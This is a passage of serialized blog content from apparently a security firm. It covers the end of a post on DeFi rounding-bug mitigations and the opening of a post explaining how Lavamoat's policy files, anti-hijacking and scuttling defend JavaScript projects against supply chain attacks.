Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[45738],{"type":23,"tag":56,"props":45739,"children":45740},{"__ignoreMap":7},[45741,45765,45812,45846],{"type":23,"tag":504,"props":45742,"children":45743},{"class":506,"line":507},[45744,45748,45753,45757,45761],{"type":23,"tag":504,"props":45745,"children":45746},{"style":544},[45747],{"type":28,"value":14560},{"type":23,"tag":504,"props":45749,"children":45750},{"style":523},[45751],{"type":28,"value":45752}," (_totalSupply ",{"type":23,"tag":504,"props":45754,"children":45755},{"style":598},[45756],{"type":28,"value":7559},{"type":23,"tag":504,"props":45758,"children":45759},{"style":1440},[45760],{"type":28,"value":2023},{"type":23,"tag":504,"props":45762,"children":45763},{"style":523},[45764],{"type":28,"value":537},{"type":23,"tag":504,"props":45766,"children":45767},{"class":506,"line":540},[45768,45773,45777,45782,45787,45792,45797,45802,45807],{"type":23,"tag":504,"props":45769,"children":45770},{"style":523},[45771],{"type":28,"value":45772},"    liquidity ",{"type":23,"tag":504,"props":45774,"children":45775},{"style":598},[45776],{"type":28,"value":601},{"type":23,"tag":504,"props":45778,"children":45779},{"style":523},[45780],{"type":28,"value":45781}," Math.",{"type":23,"tag":504,"props":45783,"children":45784},{"style":517},[45785],{"type":28,"value":45786},"sqrt",{"type":23,"tag":504,"props":45788,"children":45789},{"style":523},[45790],{"type":28,"value":45791},"(amount0.",{"type":23,"tag":504,"props":45793,"children":45794},{"style":517},[45795],{"type":28,"value":45796},"mul",{"type":23,"tag":504,"props":45798,"children":45799},{"style":523},[45800],{"type":28,"value":45801},"(amount1)).",{"type":23,"tag":504,"props":45803,"children":45804},{"style":517},[45805],{"type":28,"value":45806},"sub",{"type":23,"tag":504,"props":45808,"children":45809},{"style":523},[45810],{"type":28,"value":45811},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":504,"props":45813,"children":45814},{"class":506,"line":555},[45815,45820,45824,45828,45832,45836,45841],{"type":23,"tag":504,"props":45816,"children":45817},{"style":517},[45818],{"type":28,"value":45819},"   _mint",{"type":23,"tag":504,"props":45821,"children":45822},{"style":523},[45823],{"type":28,"value":526},{"type":23,"tag":504,"props":45825,"children":45826},{"style":1012},[45827],{"type":28,"value":31618},{"type":23,"tag":504,"props":45829,"children":45830},{"style":523},[45831],{"type":28,"value":526},{"type":23,"tag":504,"props":45833,"children":45834},{"style":1440},[45835],{"type":28,"value":3001},{"type":23,"tag":504,"props":45837,"children":45838},{"style":523},[45839],{"type":28,"value":45840},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":504,"props":45842,"children":45843},{"style":1106},[45844],{"type":28,"value":45845},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":504,"props":45847,"children":45848},{"class":506,"line":633},[45849,45854,45858],{"type":23,"tag":504,"props":45850,"children":45851},{"style":523},[45852],{"type":28,"value":45853},"} ",{"type":23,"tag":504,"props":45855,"children":45856},{"style":544},[45857],{"type":28,"value":2293},{"type":23,"tag":504,"props":45859,"children":45860},{"style":523},[45861],{"type":28,"value":552},{"type":23,"tag":24,"props":45863,"children":45864},{},[45865,45867,45874],{"type":28,"value":45866},"Alternatively, ",{"type":23,"tag":92,"props":45868,"children":45871},{"href":45869,"rel":45870},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[96],[45872],{"type":28,"value":45873},"storing the conversion rate separately",{"type":28,"value":45875}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":494,"props":45877,"children":45879},{"className":3455,"code":45878,"language":3454,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[45880],{"type":23,"tag":56,"props":45881,"children":45882},{"__ignoreMap":7},[45883,45918],{"type":23,"tag":504,"props":45884,"children":45885},{"class":506,"line":507},[45886,45891,45895,45900,45904,45909,45913],{"type":23,"tag":504,"props":45887,"children":45888},{"style":523},[45889],{"type":28,"value":45890},"accrualIndices.borrowed ",{"type":23,"tag":504,"props":45892,"children":45893},{"style":598},[45894],{"type":28,"value":601},{"type":23,"tag":504,"props":45896,"children":45897},{"style":523},[45898],{"type":28,"value":45899}," accrualIndices.borrowed ",{"type":23,"tag":504,"props":45901,"children":45902},{"style":598},[45903],{"type":28,"value":3552},{"type":23,"tag":504,"props":45905,"children":45906},{"style":523},[45907],{"type":28,"value":45908}," borrowInterestFactor ",{"type":23,"tag":504,"props":45910,"children":45911},{"style":598},[45912],{"type":28,"value":3562},{"type":23,"tag":504,"props":45914,"children":45915},{"style":523},[45916],{"type":28,"value":45917}," precision;\n",{"type":23,"tag":504,"props":45919,"children":45920},{"class":506,"line":540},[45921,45926,45930,45935,45939,45944,45948],{"type":23,"tag":504,"props":45922,"children":45923},{"style":523},[45924],{"type":28,"value":45925},"accrualIndices.deposited ",{"type":23,"tag":504,"props":45927,"children":45928},{"style":598},[45929],{"type":28,"value":601},{"type":23,"tag":504,"props":45931,"children":45932},{"style":523},[45933],{"type":28,"value":45934}," accrualIndices.deposited ",{"type":23,"tag":504,"props":45936,"children":45937},{"style":598},[45938],{"type":28,"value":3552},{"type":23,"tag":504,"props":45940,"children":45941},{"style":523},[45942],{"type":28,"value":45943}," depositInterestFactor ",{"type":23,"tag":504,"props":45945,"children":45946},{"style":598},[45947],{"type":28,"value":3562},{"type":23,"tag":504,"props":45949,"children":45950},{"style":523},[45951],{"type":28,"value":45917},{"type":23,"tag":24,"props":45953,"children":45954},{},[45955],{"type":28,"value":45956},"We also want to note some general takeaways:",{"type":23,"tag":24,"props":45958,"children":45959},{},[45960,45962,45967],{"type":28,"value":45961},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":1887,"props":45963,"children":45964},{},[45965],{"type":28,"value":45966},"apply the state changes and check the invariant",{"type":28,"value":320},{"type":23,"tag":24,"props":45969,"children":45970},{},[45971],{"type":28,"value":45972},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":24,"props":45974,"children":45975},{},[45976],{"type":28,"value":45977},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":70,"props":45979,"children":45980},{"id":1800},[45981],{"type":28,"value":1803},{"type":23,"tag":24,"props":45983,"children":45984},{},[45985],{"type":28,"value":45986},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":24,"props":45988,"children":45989},{},[45990],{"type":28,"value":45991},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":1815,"props":45993,"children":45994},{},[45995],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":45997},[45998,45999,46000,46004,46005,46006],{"id":27996,"depth":540,"text":27999},{"id":44920,"depth":540,"text":44923},{"id":45039,"depth":540,"text":45042,"children":46001},[46002,46003],{"id":45050,"depth":555,"text":45053},{"id":45088,"depth":555,"text":45091},{"id":45646,"depth":540,"text":45649},{"id":45711,"depth":540,"text":45714},{"id":1800,"depth":540,"text":1803},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":46011,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46012,"description":46013,"author":46014,"image":46015,"date":46017,"isFeatured":16,"onBlogPage":16,"body":46018,"_type":1838,"_id":49497,"_source":1840,"_file":49498,"_stem":49499,"_extension":1843},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[12,13],{"src":46016},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":46019,"toc":49476},[46020,46024,46045,46050,46054,46059,46098,46104,46119,46137,46142,46147,46152,46165,46472,46498,46511,46516,46521,46535,46540,46553,46567,46798,46819,46854,46860,46865,46870,47084,47105,47111,47123,47213,47235,47271,47279,47297,47553,47579,47585,47599,47797,47816,48223,48236,48242,48261,48354,48359,48365,48378,48391,48477,48483,48495,48580,48592,48605,48611,48616,48630,48957,48962,48967,48973,48999,49054,49074,49127,49133,49138,49157,49168,49362,49368,49391,49397,49402,49415,49420,49425,49429,49434,49442,49472],{"type":23,"tag":70,"props":46021,"children":46022},{"id":17937},[46023],{"type":28,"value":17940},{"type":23,"tag":24,"props":46025,"children":46026},{},[46027,46034,46036,46043],{"type":23,"tag":92,"props":46028,"children":46031},{"href":46029,"rel":46030},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[96],[46032],{"type":28,"value":46033},"Supply chain",{"type":28,"value":46035}," attacks are becoming ",{"type":23,"tag":92,"props":46037,"children":46040},{"href":46038,"rel":46039},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[96],[46041],{"type":28,"value":46042},"increasingly popular in Web3",{"type":28,"value":46044},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":24,"props":46046,"children":46047},{},[46048],{"type":28,"value":46049},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":82,"props":46051,"children":46052},{"id":27996},[46053],{"type":28,"value":27999},{"type":23,"tag":24,"props":46055,"children":46056},{},[46057],{"type":28,"value":46058},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":41,"props":46060,"children":46061},{},[46062,46074,46086],{"type":23,"tag":45,"props":46063,"children":46064},{},[46065,46072],{"type":23,"tag":92,"props":46066,"children":46069},{"href":46067,"rel":46068},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[96],[46070],{"type":28,"value":46071},"Lavamoat Browserify",{"type":28,"value":46073}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":45,"props":46075,"children":46076},{},[46077,46084],{"type":23,"tag":92,"props":46078,"children":46081},{"href":46079,"rel":46080},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[96],[46082],{"type":28,"value":46083},"NodeJS Lavamoat",{"type":28,"value":46085}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":45,"props":46087,"children":46088},{},[46089,46096],{"type":23,"tag":92,"props":46090,"children":46093},{"href":46091,"rel":46092},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[96],[46094],{"type":28,"value":46095},"Lavamoat allow-scripts",{"type":28,"value":46097}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":82,"props":46099,"children":46101},{"id":46100},"lavamoats-security-features",[46102],{"type":28,"value":46103},"Lavamoat's Security Features",{"type":23,"tag":24,"props":46105,"children":46106},{},[46107,46109,46117],{"type":28,"value":46108},"The three most important features of Lavamoat",{"type":23,"tag":14454,"props":46110,"children":46111},{},[46112],{"type":23,"tag":92,"props":46113,"children":46115},{"href":28605,"ariaDescribedBy":46114,"dataFootnoteRef":7,"id":28607},[14461],[46116],{"type":28,"value":2991},{"type":28,"value":46118}," are:",{"type":23,"tag":350,"props":46120,"children":46121},{},[46122,46127,46132],{"type":23,"tag":45,"props":46123,"children":46124},{},[46125],{"type":28,"value":46126},"Policy Files",{"type":23,"tag":45,"props":46128,"children":46129},{},[46130],{"type":28,"value":46131},"NPM Anti Hijacking",{"type":23,"tag":45,"props":46133,"children":46134},{},[46135],{"type":28,"value":46136},"Scuttling",{"type":23,"tag":24,"props":46138,"children":46139},{},[46140],{"type":28,"value":46141},"Let's go over them one by one.",{"type":23,"tag":17874,"props":46143,"children":46145},{"id":46144},"policy-files",[46146],{"type":28,"value":46126},{"type":23,"tag":24,"props":46148,"children":46149},{},[46150],{"type":28,"value":46151},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":24,"props":46153,"children":46154},{},[46155,46157,46164],{"type":28,"value":46156},"For example, take the ",{"type":23,"tag":92,"props":46158,"children":46161},{"href":46159,"rel":46160},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[96],[46162],{"type":28,"value":46163},"Metamask Snap policy file",{"type":28,"value":3472},{"type":23,"tag":494,"props":46166,"children":46168},{"className":496,"code":46167,"language":498,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[46169],{"type":23,"tag":56,"props":46170,"children":46171},{"__ignoreMap":7},[46172,46184,46199,46219,46238,46258,46278,46298,46318,46338,46359,46379,46398,46414,46421,46436,46456],{"type":23,"tag":504,"props":46173,"children":46174},{"class":506,"line":507},[46175,46180],{"type":23,"tag":504,"props":46176,"children":46177},{"style":622},[46178],{"type":28,"value":46179},"   \"@metamask/providers\"",{"type":23,"tag":504,"props":46181,"children":46182},{"style":523},[46183],{"type":28,"value":35999},{"type":23,"tag":504,"props":46185,"children":46186},{"class":506,"line":540},[46187,46191,46195],{"type":23,"tag":504,"props":46188,"children":46189},{"style":622},[46190],{"type":28,"value":36007},{"type":23,"tag":504,"props":46192,"children":46193},{"style":529},[46194],{"type":28,"value":3472},{"type":23,"tag":504,"props":46196,"children":46197},{"style":523},[46198],{"type":28,"value":552},{"type":23,"tag":504,"props":46200,"children":46201},{"class":506,"line":555},[46202,46207,46211,46215],{"type":23,"tag":504,"props":46203,"children":46204},{"style":622},[46205],{"type":28,"value":46206},"        \"Event\"",{"type":23,"tag":504,"props":46208,"children":46209},{"style":529},[46210],{"type":28,"value":3472},{"type":23,"tag":504,"props":46212,"children":46213},{"style":511},[46214],{"type":28,"value":1750},{"type":23,"tag":504,"props":46216,"children":46217},{"style":523},[46218],{"type":28,"value":2484},{"type":23,"tag":504,"props":46220,"children":46221},{"class":506,"line":633},[46222,46226,46230,46234],{"type":23,"tag":504,"props":46223,"children":46224},{"style":622},[46225],{"type":28,"value":36059},{"type":23,"tag":504,"props":46227,"children":46228},{"style":529},[46229],{"type":28,"value":3472},{"type":23,"tag":504,"props":46231,"children":46232},{"style":511},[46233],{"type":28,"value":1750},{"type":23,"tag":504,"props":46235,"children":46236},{"style":523},[46237],{"type":28,"value":2484},{"type":23,"tag":504,"props":46239,"children":46240},{"class":506,"line":687},[46241,46246,46250,46254],{"type":23,"tag":504,"props":46242,"children":46243},{"style":622},[46244],{"type":28,"value":46245},"        \"chrome.runtime.connect\"",{"type":23,"tag":504,"props":46247,"children":46248},{"style":529},[46249],{"type":28,"value":3472},{"type":23,"tag":504,"props":46251,"children":46252},{"style":511},[46253],{"type":28,"value":1750},{"type":23,"tag":504,"props":46255,"children":46256},{"style":523},[46257],{"type":28,"value":2484},{"type":23,"tag":504,"props":46259,"children":46260},{"class":506,"line":736},[46261,46266,46270,46274],{"type":23,"tag":504,"props":46262,"children":46263},{"style":622},[46264],{"type":28,"value":46265},"        \"console\"",{"type":23,"tag":504,"props":46267,"children":46268},{"style":529},[46269],{"type":28,"value":3472},{"type":23,"tag":504,"props":46271,"children":46272},{"style":511},[46273],{"type":28,"value":1750},{"type":23,"tag":504,"props":46275,"children":46276},{"style":523},[46277],{"type":28,"value":2484},{"type":23,"tag":504,"props":46279,"children":46280},{"class":506,"line":785},[46281,46286,46290,46294],{"type":23,"tag":504,"props":46282,"children":46283},{"style":622},[46284],{"type":28,"value":46285},"        \"dispatchEvent\"",{"type":23,"tag":504,"props":46287,"children":46288},{"style":529},[46289],{"type":28,"value":3472},{"type":23,"tag":504,"props":46291,"children":46292},{"style":511},[46293],{"type":28,"value":1750},{"type":23,"tag":504,"props":46295,"children":46296},{"style":523},[46297],{"type":28,"value":2484},{"type":23,"tag":504,"props":46299,"children":46300},{"class":506,"line":813},[46301,46306,46310,46314],{"type":23,"tag":504,"props":46302,"children":46303},{"style":622},[46304],{"type":28,"value":46305},"        \"document.createElement\"",{"type":23,"tag":504,"props":46307,"children":46308},{"style":529},[46309],{"type":28,"value":3472},{"type":23,"tag":504,"props":46311,"children":46312},{"style":511},[46313],{"type":28,"value":1750},{"type":23,"tag":504,"props":46315,"children":46316},{"style":523},[46317],{"type":28,"value":2484},{"type":23,"tag":504,"props":46319,"children":46320},{"class":506,"line":851},[46321,46326,46330,46334],{"type":23,"tag":504,"props":46322,"children":46323},{"style":622},[46324],{"type":28,"value":46325},"        \"document.readyState\"",{"type":23,"tag":504,"props":46327,"children":46328},{"style":529},[46329],{"type":28,"value":3472},{"type":23,"tag":504,"props":46331,"children":46332},{"style":511},[46333],{"type":28,"value":1750},{"type":23,"tag":504,"props":46335,"children":46336},{"style":523},[46337],{"type":28,"value":2484},{"type":23,"tag":504,"props":46339,"children":46340},{"class":506,"line":869},[46341,46346,46350,46355],{"type":23,"tag":504,"props":46342,"children":46343},{"style":622},[46344],{"type":28,"value":46345},"        \"ethereum\"",{"type":23,"tag":504,"props":46347,"children":46348},{"style":529},[46349],{"type":28,"value":3472},{"type":23,"tag":504,"props":46351,"children":46352},{"style":622},[46353],{"type":28,"value":46354}," \"write\"",{"type":23,"tag":504,"props":46356,"children":46357},{"style":523},[46358],{"type":28,"value":2484},{"type":23,"tag":504,"props":46360,"children":46361},{"class":506,"line":878},[46362,46367,46371,46375],{"type":23,"tag":504,"props":46363,"children":46364},{"style":622},[46365],{"type":28,"value":46366},"        \"location.hostname\"",{"type":23,"tag":504,"props":46368,"children":46369},{"style":529},[46370],{"type":28,"value":3472},{"type":23,"tag":504,"props":46372,"children":46373},{"style":511},[46374],{"type":28,"value":1750},{"type":23,"tag":504,"props":46376,"children":46377},{"style":523},[46378],{"type":28,"value":2484},{"type":23,"tag":504,"props":46380,"children":46381},{"class":506,"line":1221},[46382,46386,46390,46394],{"type":23,"tag":504,"props":46383,"children":46384},{"style":622},[46385],{"type":28,"value":36159},{"type":23,"tag":504,"props":46387,"children":46388},{"style":529},[46389],{"type":28,"value":3472},{"type":23,"tag":504,"props":46391,"children":46392},{"style":511},[46393],{"type":28,"value":1750},{"type":23,"tag":504,"props":46395,"children":46396},{"style":523},[46397],{"type":28,"value":2484},{"type":23,"tag":504,"props":46399,"children":46400},{"class":506,"line":1276},[46401,46406,46410],{"type":23,"tag":504,"props":46402,"children":46403},{"style":622},[46404],{"type":28,"value":46405},"        \"web3\"",{"type":23,"tag":504,"props":46407,"children":46408},{"style":529},[46409],{"type":28,"value":3472},{"type":23,"tag":504,"props":46411,"children":46412},{"style":511},[46413],{"type":28,"value":45528},{"type":23,"tag":504,"props":46415,"children":46416},{"class":506,"line":1285},[46417],{"type":23,"tag":504,"props":46418,"children":46419},{"style":523},[46420],{"type":28,"value":36176},{"type":23,"tag":504,"props":46422,"children":46423},{"class":506,"line":1294},[46424,46428,46432],{"type":23,"tag":504,"props":46425,"children":46426},{"style":622},[46427],{"type":28,"value":36184},{"type":23,"tag":504,"props":46429,"children":46430},{"style":529},[46431],{"type":28,"value":3472},{"type":23,"tag":504,"props":46433,"children":46434},{"style":523},[46435],{"type":28,"value":552},{"type":23,"tag":504,"props":46437,"children":46438},{"class":506,"line":1302},[46439,46444,46448,46452],{"type":23,"tag":504,"props":46440,"children":46441},{"style":622},[46442],{"type":28,"value":46443},"        \"@metamask/object-multiplex\"",{"type":23,"tag":504,"props":46445,"children":46446},{"style":529},[46447],{"type":28,"value":3472},{"type":23,"tag":504,"props":46449,"children":46450},{"style":511},[46451],{"type":28,"value":1750},{"type":23,"tag":504,"props":46453,"children":46454},{"style":523},[46455],{"type":28,"value":2484},{"type":23,"tag":504,"props":46457,"children":46458},{"class":506,"line":1311},[46459,46464,46468],{"type":23,"tag":504,"props":46460,"children":46461},{"style":622},[46462],{"type":28,"value":46463},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":504,"props":46465,"children":46466},{"style":529},[46467],{"type":28,"value":3472},{"type":23,"tag":504,"props":46469,"children":46470},{"style":511},[46471],{"type":28,"value":45528},{"type":23,"tag":24,"props":46473,"children":46474},{},[46475,46476,46481,46483,46488,46490,46496],{"type":28,"value":15592},{"type":23,"tag":56,"props":46477,"children":46479},{"className":46478},[],[46480],{"type":28,"value":36249},{"type":28,"value":46482}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":56,"props":46484,"children":46486},{"className":46485},[],[46487],{"type":28,"value":36257},{"type":28,"value":46489}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":56,"props":46491,"children":46493},{"className":46492},[],[46494],{"type":28,"value":46495},"@metamask/providers",{"type":28,"value":46497}," interacts with other packages.",{"type":23,"tag":24,"props":46499,"children":46500},{},[46501,46503,46509],{"type":28,"value":46502},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":56,"props":46504,"children":46506},{"className":46505},[],[46507],{"type":28,"value":46508},"lavapack",{"type":28,"value":46510},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":17874,"props":46512,"children":46514},{"id":46513},"npm-anti-hijacking",[46515],{"type":28,"value":46131},{"type":23,"tag":24,"props":46517,"children":46518},{},[46519],{"type":28,"value":46520},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":24,"props":46522,"children":46523},{},[46524,46526,46533],{"type":28,"value":46525},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":92,"props":46527,"children":46530},{"href":46528,"rel":46529},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[96],[46531],{"type":28,"value":46532},"walking the modules",{"type":28,"value":46534}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":17874,"props":46536,"children":46538},{"id":46537},"scuttling",[46539],{"type":28,"value":46136},{"type":23,"tag":24,"props":46541,"children":46542},{},[46543,46545,46551],{"type":28,"value":46544},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":56,"props":46546,"children":46548},{"className":46547},[],[46549],{"type":28,"value":46550},"GlobalThis",{"type":28,"value":46552}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":24,"props":46554,"children":46555},{},[46556,46558,46565],{"type":28,"value":46557},"For example, ",{"type":23,"tag":92,"props":46559,"children":46562},{"href":46560,"rel":46561},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[96],[46563],{"type":28,"value":46564},"here",{"type":28,"value":46566}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":494,"props":46568,"children":46570},{"className":496,"code":46569,"language":498,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[46571],{"type":23,"tag":56,"props":46572,"children":46573},{"__ignoreMap":7},[46574,46603,46653,46712,46719,46791],{"type":23,"tag":504,"props":46575,"children":46576},{"class":506,"line":507},[46577,46581,46585,46590,46594,46599],{"type":23,"tag":504,"props":46578,"children":46579},{"style":544},[46580],{"type":28,"value":11261},{"type":23,"tag":504,"props":46582,"children":46583},{"style":523},[46584],{"type":28,"value":801},{"type":23,"tag":504,"props":46586,"children":46587},{"style":529},[46588],{"type":28,"value":46589},"scuttleOpts",{"type":23,"tag":504,"props":46591,"children":46592},{"style":523},[46593],{"type":28,"value":320},{"type":23,"tag":504,"props":46595,"children":46596},{"style":529},[46597],{"type":28,"value":46598},"enabled",{"type":23,"tag":504,"props":46600,"children":46601},{"style":523},[46602],{"type":28,"value":537},{"type":23,"tag":504,"props":46604,"children":46605},{"class":506,"line":540},[46606,46610,46614,46618,46623,46627,46632,46636,46640,46644,46649],{"type":23,"tag":504,"props":46607,"children":46608},{"style":544},[46609],{"type":28,"value":38262},{"type":23,"tag":504,"props":46611,"children":46612},{"style":523},[46613],{"type":28,"value":801},{"type":23,"tag":504,"props":46615,"children":46616},{"style":598},[46617],{"type":28,"value":19603},{"type":23,"tag":504,"props":46619,"children":46620},{"style":529},[46621],{"type":28,"value":46622},"Array",{"type":23,"tag":504,"props":46624,"children":46625},{"style":523},[46626],{"type":28,"value":320},{"type":23,"tag":504,"props":46628,"children":46629},{"style":517},[46630],{"type":28,"value":46631},"isArray",{"type":23,"tag":504,"props":46633,"children":46634},{"style":523},[46635],{"type":28,"value":526},{"type":23,"tag":504,"props":46637,"children":46638},{"style":529},[46639],{"type":28,"value":46589},{"type":23,"tag":504,"props":46641,"children":46642},{"style":523},[46643],{"type":28,"value":320},{"type":23,"tag":504,"props":46645,"children":46646},{"style":529},[46647],{"type":28,"value":46648},"exceptions",{"type":23,"tag":504,"props":46650,"children":46651},{"style":523},[46652],{"type":28,"value":34170},{"type":23,"tag":504,"props":46654,"children":46655},{"class":506,"line":555},[46656,46661,46665,46669,46673,46678,46682,46686,46691,46695,46699,46703,46708],{"type":23,"tag":504,"props":46657,"children":46658},{"style":544},[46659],{"type":28,"value":46660},"        throw",{"type":23,"tag":504,"props":46662,"children":46663},{"style":511},[46664],{"type":28,"value":30911},{"type":23,"tag":504,"props":46666,"children":46667},{"style":517},[46668],{"type":28,"value":39259},{"type":23,"tag":504,"props":46670,"children":46671},{"style":523},[46672],{"type":28,"value":526},{"type":23,"tag":504,"props":46674,"children":46675},{"style":622},[46676],{"type":28,"value":46677},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":504,"props":46679,"children":46680},{"style":511},[46681],{"type":28,"value":1253},{"type":23,"tag":504,"props":46683,"children":46684},{"style":511},[46685],{"type":28,"value":30381},{"type":23,"tag":504,"props":46687,"children":46688},{"style":529},[46689],{"type":28,"value":46690}," scuttleOpts",{"type":23,"tag":504,"props":46692,"children":46693},{"style":598},[46694],{"type":28,"value":320},{"type":23,"tag":504,"props":46696,"children":46697},{"style":529},[46698],{"type":28,"value":46648},{"type":23,"tag":504,"props":46700,"children":46701},{"style":511},[46702],{"type":28,"value":1263},{"type":23,"tag":504,"props":46704,"children":46705},{"style":622},[46706],{"type":28,"value":46707},"\"`",{"type":23,"tag":504,"props":46709,"children":46710},{"style":523},[46711],{"type":28,"value":1192},{"type":23,"tag":504,"props":46713,"children":46714},{"class":506,"line":633},[46715],{"type":23,"tag":504,"props":46716,"children":46717},{"style":523},[46718],{"type":28,"value":11645},{"type":23,"tag":504,"props":46720,"children":46721},{"class":506,"line":687},[46722,46727,46731,46736,46740,46745,46749,46754,46758,46763,46767,46771,46775,46779,46783,46787],{"type":23,"tag":504,"props":46723,"children":46724},{"style":529},[46725],{"type":28,"value":46726},"      scuttleOpts",{"type":23,"tag":504,"props":46728,"children":46729},{"style":523},[46730],{"type":28,"value":320},{"type":23,"tag":504,"props":46732,"children":46733},{"style":517},[46734],{"type":28,"value":46735},"scuttlerFunc",{"type":23,"tag":504,"props":46737,"children":46738},{"style":523},[46739],{"type":28,"value":526},{"type":23,"tag":504,"props":46741,"children":46742},{"style":529},[46743],{"type":28,"value":46744},"globalRef",{"type":23,"tag":504,"props":46746,"children":46747},{"style":523},[46748],{"type":28,"value":576},{"type":23,"tag":504,"props":46750,"children":46751},{"style":529},[46752],{"type":28,"value":46753},"realm",{"type":23,"tag":504,"props":46755,"children":46756},{"style":511},[46757],{"type":28,"value":26733},{"type":23,"tag":504,"props":46759,"children":46760},{"style":517},[46761],{"type":28,"value":46762}," 